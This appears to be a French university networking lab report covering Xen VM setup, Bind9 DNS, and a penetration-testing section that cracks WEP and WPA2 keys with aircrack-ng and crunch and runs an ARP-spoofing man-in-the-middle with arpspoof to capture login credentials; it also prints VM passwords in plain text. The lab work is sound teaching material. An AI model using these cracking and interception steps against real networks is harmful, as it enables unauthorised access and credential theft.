TP sysres IMA2a5 2020/2021 G5
Sommaire
- 1 Introduction
- 2 Installation des systèmes d’exploitation
- 3 Architecture réseau
- 4 Services Internet
- 5 Tests d’intrusion
- 5.1 Description
- 5.2 Installation de la clef Wifi
- 5.3 Installation du paquetage AirCrack-ng
- 5.4 Utilisation de AirCrack pour clef WEP
- 5.5 Utilisation de AirCrack pour clef WPA2-PSA
- 5.6 Exploitation de failles du système
- 5.7 Attaque de type "homme au milieu" par usurpation ARP
- 5.8 Intrusion sur un serveur d’application Web
- 5.9 Sécurisation d'une clef usb
- 6 Réalisations
Introduction
Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système vous aurez à installer une machine virtuelle Xen et à y configurer des services. Enfin la mise en place d’un réseau WiFi sécurisé et d’un site web sécurisé vous permettent de mettre en pratiques vos connaissances en la matière.
Tableau Récapitulatif
Description | Détails |
---|---|
ID VLAN | Vlan7 |
Réseau IP V4 | 193.48.57.168 |
Réseau IP V6 | |
Nom de de la VM | mirage |
Numéro de poste | Zabeth06 |
Adresse du site internet version HTTP | |
Adresse du site internet version HTTPS |
Installation des systèmes d’exploitation
Pour installer une Machine Virtuelle, il faut d'abord se connecter sur le disque de virtualisation. Pour cela, il faut utiliser la commande :
ssh capbreton.plil.info
Installation dans la machine virtuelle Xen
Une fois connecter, il faut lancer la création de la Machine virtuelle avec la commande :
xen-create-image --hostname=mirage --ip 193.48.57.168 --netmask=255.255.255.0 --gateway=100.64.0.5 --dist=ascii --dir=/usr/local/xen --force
L'installation prend un certain temps pour regarder si l'installation se déroule bien, on peut ouvrir un second terminale connecté en SSH a "capbreton" puis on utilise la commande :
tail -f /var/log/xen-tools/mirage.0.log
A la fin de l'installation, on obtient le mot de passe root et des informations importantes :
Installation Summary --------------------- Hostname : mirage Distribution : ascii MAC Address : xxxxxxxxxxx IP Address(es) : dynamic SSH Fingerprint : SHA256:xxxxxxx (DSA) SSH Fingerprint : SHA256:xxxxxxx (ECDSA) SSH Fingerprint : SHA256:xxxxxxx (ED25519) SSH Fingerprint : SHA256:xxxxxxx (RSA) Root Password : DgtUlOmnBFERdfarGBsopGR
Une fois la VM créer, nous pouvons la lancer avec la commande :
xl create /etc/xen/mirage.cfg
On peut vérifier que le VM est bien démarrer avec la commande :
xl list
Pour fonctionner l'état de la VM doit être r ou -b
On accède pour la premier fois a nottre Vm avec la commande :
xl console mirage
il demande alors le login (root) et le mdp (longue chaine précédemment générée). Après nous être logué, on change le mot de passe qui devient : glopglopglop.
Configuration de la machine virtuelle Xen
Il faut maintenant installer les packages que nous avons besoins :
apt-get update apt-get install VIM
Il faut configurer l'adresse IP et le mask de la VM. Pour cela on utilise la commande :
vim /etc/network/interfaces
Dans interfaces on tajoute
auto eth0 iface eth0 inet static address 193.48.57.168 gateway 193.58.57.163 netmask 255.255.255.248
Pour que la machine soit joignable par SSH via l'extérieure il est nécessaire de configurer la passerelle et le ssh_config. Pour cela on utilise la commande :
vi /etc/ssh/ssh_config
Le fichier ssh_config doit être configurer comme ci dessous :
Host * SendEnv LANH LC_* HashKnownHOST yes GSSAPIAuthentification yes
Sur Capbreton, une paserell doit être mis en place pour pouvoir connecté les VM aux monde extérieure. Pour cela on configure ces interfacte avec la commande :
vim/etc/network/interfaces
Puis on configure la passerelle comem ci dessous :
# The loopback network interface auto lo iface lo inet loopback # Physical Network Interfaces # auto eth iface eth inet static address 192.168.0.29 netmask 255.255.255.0 gateway 192.168.0.1 auto eth0 iface eth0 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth1 iface eth1 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth2 iface eth2 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth4 iface eth4 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth5 iface eth5 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth6 iface eth6 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down auto eth7 iface eth7 inet manual post-up ip link set $IFACE up post-down ip link set $IFACE down # Main trunk bridge # auto Trunk iface Trunk inet manual bridge_ports eth4 eth5 post-up ip link set $IFACE up post-down ip link set $IFACE down # Virtual Network Interfaces # auto vlan48 iface vlan48 inet static vlan-raw-device Trunk address 172.26.191.21 netmask 255.255.252.0 gateway 172.26.191.254 iface vlan48 inet6 auto auto vlan500 iface vlan500 inet manual vlan-raw-device Trunk post-up ip link set $IFACE up post-down ip link set $IFACE down auto vlan502 iface vlan502 inet manual vlan-raw-device Trunk post-up ip link set $IFACE up post-down ip link set $IFACE down # Bridge for IMA5sc group # auto IMA5sc iface IMA5sc inet manual bridge_ports eth0 eth6 # Bridge for IMA2a5 # auto IMA2a5 iface IMA2a5 inet manual bridge_ports eth1 eth7 # Bridge for L3MRIT group # auto L3MRIT iface L3MRIT inet manual bridge_ports eth2 # Bridge for GIS group # auto bridgeGIS iface bridgeGIS inet manual bridge_ports vlan502
Architecture réseau
Sécurisation du réseau
Services Internet
Serveur SSH
On peux maintenant se connecté a la VM mirage avec la commande : ssh root@193.48.57.168 -p 2222
Serveur DNS
Un serveur DNS (Domain Name System) permet d'effectuer correspondance entre un nom de domaine et une adresse IP. Grâce à DNS, il n'est pas nécessaire de se souvenir des adresses IP pour naviguer sur Ethernet. Pour installer notre propre serveur DNS nous avons utilisé Bind9.
Nous commençons tout d'abord par installer bind9 via la commande suivante : apt-get install bind9
Création et configuration named.conf.local
Le named.conf.local
permet de faire pointer un nom de domaine pleinement qualifié (FQDN fully qualified domain name) sur une adresse IP.
Il faut tout d'abbord modifié le fichier /etc/bind/named.conf.local
qui contient la configuration DNS et y déclaré les zones associées au domaine ainsi qu'un fichier de description de la zone.
Puis créé le fichier de configuration appelé glopglop.site
avec la commande vim /etc/bind/glopglop.site
On relance le service 'bind9' avec la commande :service bind9 restart
On vérifie que le DNS fonctionne bien avec le commande host dns1.glopglop.site localhost
Le DNS fonctionne donc bien.
Configuration gandi.net
Grâce au registrar gandi.net, nous avons réservé le nom de domaine glopglop.site
. L'extension .site
On va maintenant ajouter un "glue record" qui est un enregistrement collé. Il permet d'associer un nom d'hôte avec une adresse IP au registre. Glue records fournis par gandi pour associer un hostname (nom de serveur ou DNS) à l'adresse IP de notre machine. Les modifications seront effectives entre 12 et 24 heures.
Une fois le "glue record" renseigner se qui va lié nottre dns a une ip, il faur renseigner les serveur de non. cela prend 27/72h. Il faut bien faire attention que la VM soit correctement configurer avec 'bind9' car c'est lui qui donne IPv4 et IPv6 correspondant à vos noms de machines. Si ce n'est pas le cas gandi ne pourras pas liée les dns a l'ip de la machine.
Sécurisation de site web par certificat
Sécurisation de serveur DNS par DNSSEC
Tests d’intrusion
Description
Un ordinateur portable et une clef Wifi est fourni par Monsieur Redon. Pour que le clef fonctionne il est nécessite pas nécessairement de la configuration. Il faut aussi installer les paquetages nécessaire pour craquer la clef Wep et la clef WPA
Installation de la clef Wifi
Avec la commande lsusb
on peux voir la list des interfaces connecté aux pc. Ci-dessous les résultats obtenu.
Bus 003 Device 004: ID 148f:5370 Ralink Technology, Corp. RT5370 Wireless Adapter Bus 003 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 004 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 002 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 001 Device 004: ID 413c:2003 Dell Computer Corp. Keyboard Bus 001 Device 003: ID 046d:c016 Logitech, Inc. Optical Wheel Mouse Bus 001 Device 002: ID 8087:0024 Intel Corp. Integrated Rate Matching Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub
La clef ubs Wifi est bien détécter. On doit donc installer le pilote pour les clef usb RT5370 avec la commande :
apt-get install firmware-ralink apt-get install firmware-misc-nonfree
Une fois les pilotes installer, on récupéère le nom de l'interface wifi avec la commande ip l
et on récupère le résultat ci-dessous :
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000 link/ether 00:22:4d:7a:f1:c3 brd ff:ff:ff:ff:ff:ff 3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast master bridge state UP mode DEFAULT group default qlen 1000 link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff 5: bridge: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP mode DEFAULT group default qlen 1000 link/ether 00:15:17:3b:14:a8 brd ff:ff:ff:ff:ff:ff 6: vmnet1: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000 link/ether 00:50:56:c0:00:01 brd ff:ff:ff:ff:ff:ff 7: vmnet8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN mode DEFAULT group default qlen 1000 link/ether 00:50:56:c0:00:08 brd ff:ff:ff:ff:ff:ff 8: wlx40a5ef059784: <NO-CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state DOWN mode DEFAULT group default qlen 1000 link/ether 40:a5:ef:05:97:84 brd ff:ff:ff:ff:ff:ff
La clef wifi s'apelle donc wlx40a5ef059784
on fait maintenant un ip link set wlx40a5ef059784 up>
Avec la comande dmsg
on vérifie que la clef wifi fonctionne bien.
Installation du paquetage AirCrack-ng
Pour installer AirCrack (utilitaire qui permet de casser les clefs WEP et WPA), il faut de taper la commande :
apt-get install aircrack-ng apt-get install firmware-misc-nonfree
Utilisation de AirCrack pour clef WEP
Après avoir branché la clef WiFi, on se sert de airmon-ng
qui est un utilitaire qui espionne le réseau et permet d'obtenir les types d'interfaces communicantes/espionnable.
airmon-ng
Pour tenter de s'y connecter en tant qu'espion, il faut alors taper (nous le tapons ici avec wlan0mon):
airmon-ng start wlx40a5ef059784
Puis, pour observer et découvrir les canaux associés au réseau et leurs SSID,il faut taper:
airodump-ng wlan0mon
On obtien le résultat ci dessous :
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 38:0E:4D:B0:E9:E0 -1 0 1 0 1 -1 WPA <length: 0> 04:DA:D2:9C:50:51 -30 49 834 0 9 54e. WEP WEP cracotte02 04:DA:D2:9C:50:5A -29 44 841 0 9 54e. WEP WEP cracotte11 04:DA:D2:9C:50:56 -28 53 832 9 9 54e. WEP WEP cracotte07 04:DA:D2:9C:50:57 -29 54 803 0 9 54e. WEP WEP cracotte08 04:DA:D2:9C:50:59 -30 50 833 0 9 54e. WEP WEP cracotte10 04:DA:D2:9C:50:54 -29 48 841 0 9 54e. WEP WEP cracotte05 04:DA:D2:9C:50:50 -29 50 841 0 9 54e. WEP WEP cracotte01 04:DA:D2:9C:50:5B -29 50 825 0 9 54e. WEP WEP cracotte12 04:DA:D2:9C:50:53 -33 46 843 0 9 54e. WEP WEP cracotte04 04:DA:D2:9C:50:58 -28 50 694 0 9 54e. WEP WEP cracotte09 04:DA:D2:9C:50:55 -30 49 746 0 9 54e. WEP WEP cracotte06 04:DA:D2:9C:50:52 -33 50 764 0 9 54e. WEP WEP cracotte03 00:14:1B:60:8C:28 -30 60 0 0 4 54e. WPA2 CCMP PSK kracotte09 00:14:1B:60:8C:22 -31 55 0 0 4 54e. WPA2 CCMP PSK kracotte03 00:14:1B:60:8C:27 -32 64 0 0 4 54e. WPA2 CCMP PSK kracotte08 00:14:1B:60:8C:24 -34 58 0 0 4 54e. WPA2 CCMP PSK kracotte05 00:14:1B:60:8C:23 -31 63 0 0 4 54e. WPA2 CCMP PSK kracotte04
Le réseau que nous voulons craquer est cracotte05 ssid : 04:DA:D2:9C:50:54 chanel : 9
On utilise la commande airodump-ng -w reseau_cracotte05 -c 9 --bssid 04:DA:D2:9C:50:54 wlan0mon
. cela nous crée un reseau_cracotte05-01.cap
On n'as pluq qu'a faire un aircrack-ng reseau_cracotte05-01.cap
.
KB depth byte(vote) 0 0/ 1 F1(50176) 48(46848) A1(46080) C9(45824) 2A(45056) 1 0/ 1 DE(50944) F0(46592) 60(45824) 4D(45312) 1E(44544) 2 1/ 3 D4(47360) 98(46336) B6(45568) A7(45056) EB(45056) 3 0/ 2 00(47360) 34(46848) 4E(45824) 6F(44800) 35(44544) 4 0/ 1 00(50688) 09(45824) 50(45568) FD(45056) 5E(44032) 5 0/ 3 00(46592) BD(45824) 4A(45824) 5A(45056) 87(45056) 6 0/ 1 00(51456) 09(47104) 3A(45824) F9(45824) 04(45568) 7 0/ 1 00(51712) C9(47360) 08(46336) 56(45312) E2(44800) 8 0/ 1 00(54016) 05(45568) C1(45312) D5(44544) B7(44288) 9 0/ 2 00(47872) 56(46592) 84(45568) 88(45568) F2(45056) 10 1/ 2 09(48128) 6B(45824) D5(45824) 0C(45568) C2(45568) 11 0/ 2 99(48128) 76(47616) 99(46080) E6(46080) 06(44800) 12 2/ 4 FD(44800) DE(44544) B9(44032) 3F(43776) 94(43776)
KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:00:09:99:99 ] Decrypted correctly: 100%
Et voila nous avons trouver clef du réseau wifi cracotte05
Utilisation de AirCrack pour clef WPA2-PSA
On va maintenant craquer le réseau Kracotte05 qui est un réseau WPA on sait d'avance que la clef WPA est un nombre sur 8 chiffres. On va donc faire un "cassage par force brute" avec un fichier texte contenant tout les combination de 00000000 a 99999999.
On commence par installer Crnch avec la commande sudo apt-get install -y crunch
Une fois installer on génère un fichier dictionnaite.txt avec la commande crunch 8 8 0123456789 >> dictionnaire_wpa.txt
On relance la commande airodump-ng -w reseau_kracotte05 -c 5 --bssid 00:14:1B:60:8C:24
On a bien sure remplacer le ssid et le chanel par celui du wifi Kracotte05.
Puis nous lançons aircrack-ng avec la commande aircrack-ng reseau_kracotte05-01.cap -w dictionnaire_wpa.txt
Read 121032 packets.
# BSSID ESSID Encryption 1 00:14:1B:60:8C:24 kracotte05 No data - WEP or WPA Choosing first network as target. Opening reseau_kracotte05-01.cap Read 121032 packets. 1 potential targets Got no data packets from target network! Quitting aircrack-ng...
On peut voir que cela prend du temps pour récupérer les data nécessaire pour effectuer le crackage 1 data toutes les 15 minutes. Une fois que on a récupérer les data, on peux effectuer le "cassage par force brute"
Aircrack-ng 1.5.2 [00:32:18] 10323450/102795810 keys tested (2771.75 k/s) Time left: 9 hours, 16 minutes, 11 seconds 10.04% KEY FOUND! [ 10244444 ]
Master Key : D6 B0 55 29 8C A0 B4 C9 13 24 C9 03 8C D5 13 4B 46 A4 C2 DB 79 E7 4C BC AE B5 5A 5D 48 D7 C4 3B Transient Key : 25 23 28 1B 21 51 4B 87 07 51 A4 8E D1 80 48 C8 54 F6 87 8B 30 DF C1 D0 E6 1A 74 87 2F 50 EC 1B 9B 24 39 29 40 E3 BD 89 CD AE 3E 81 E9 EC 16 70 79 F9 24 2E 30 4E 52 24 A9 41 30 52 E1 25 EC 85 EAPOL HMAC : 7F AC 76 7D B5 33 0C 24 20 C3 BA A2 4B DF 2F CD
On a bien trouver la clé du wifi ! On voit que cela peut prendre beaucoup de temps pour trouver la clé, d'out l'interner de couper le dictionnaire en plusieurs et lancer le traitement sur plusieurs pc des camarades de classe. Cela permet de diviser le temps de traitement par le nombre de machine utilisé.
Exploitation de failles du système
Attaque de type "homme au milieu" par usurpation ARP
Maintenant on tesnt une attaque par "homme au milieu" pour commancé, on va installer le paquetage dsniff
pour cela on utilise la commande : apt-get install dsniff
On regarde dans un premier temps si le pc peut se comporter comme un routeur avec la commande cat /proc/sys/net/ipv4/ip_forward
normalement il nous notifie '0' se qui prouve que le pc ne se comporte pas comme un routeur. On utilise la commande cat /proc/sys/net/ipv4/ip_forward
pour faire passer la variable a 1. maintenant le PC peut se comporter comme un routeur.
On fait la commande cat /proc/sys/net/ipv4/conf/all/rp_filter
la variable recu doit être a '0' ce qui permet aux pc de renvoyer les requètes sur l'interface qui les a recu.
Ensuite on fait un ip r
pour récupérer l'adresse ip du routeur.
On fait la commande arpspoof -i bridge -t zabeth07 172.26.145.254
On lance Wireshark en root en utilisant la commande su
si celui ci n'est pas installer on fait préalablement apt-get install wireshark
Une fois Wireshark lancé, on filtre tout les paquets en provenance de nottre cible la zabeth07.
Il faut fauire attention de bien désativer les proxi dans firefow sinon cela ne fonctionne pas.
On peut voir que on a bien recupérer les mdp lors de la connexion aux site 'applications.polytech-lille.net'.
Non d'utilisateur : Oui le pas de calais Mdp : le mdp
Intrusion sur un serveur d’application Web
Sécurisation d'une clef usb
Parfois il est necessaire d'avoir des clef USB sécuriser. pour sécuriser la clef USB, on va utilisé 'cryptsetup'
Premièrement on va formaté la clef usb pour avoir un disque propre.